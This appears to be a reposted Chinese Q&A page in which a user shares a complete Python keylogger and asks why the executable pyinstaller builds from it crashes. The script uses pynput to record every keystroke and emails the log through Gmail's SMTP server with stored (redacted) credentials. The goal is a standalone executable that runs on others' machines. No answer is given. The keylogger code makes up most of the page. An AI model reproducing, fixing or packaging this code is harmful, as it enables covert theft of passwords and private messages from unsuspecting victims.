问题描述
我制作了一个简单的键盘记录程序,但我无法创建一个正常运行的 exec 文件
import smtplib
from pynput.keyboard import Key,Listener
email = 'redacted'
password = 'redacted'
server = smtplib.SMTP_SSL('smtp.gmail.com',465)
server.login(email,password)
full_log = ''
word = ''
email_char = 10
def on_press(key):
global word
global full_log
global email
global email_char
if key == Key.space or key == Key.enter:
word += ' '
full_log += word
word = ''
if len(full_log) >= email_char:
send_log()
full_log = ''
elif key == Key.backspace:
word = word[:-1]
else:
char = f'{key}'
char = char[1:-1]
word += char
if key == Key.esc:
return False
def send_log():
server.sendmail(
email,email,full_log
)
with Listener(on_press=on_press) as listener:
listener.join()
print(''' .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. |
| | ____ ____ | || | __ | || | _____ _____ | || | _____ | |
| ||_ \ / _|| || | / \ | || ||_ _||_ _|| || | |_ _| | |
| | | \/ | | || | / /\ \ | || | | | | | | || | | | | |
| | | |\ /| | | || | / ____ \ | || | | ' ' | | || | | | _ | |
| | _| |_\/_| |_ | || | _/ / \ \_ | || | \ `--' / | || | _| |__/ | | |
| ||_____||_____|| || ||____| |____|| || | `.__.' | || | |________| | |
| | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' ''')
input()
我尝试使用 pyinstaller,但生成的 exec 文件立即崩溃或出现致命错误。 任何帮助表示赞赏!感谢您的耐心等待! 编辑:致命错误是“无法执行脚本[程序名称]”
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)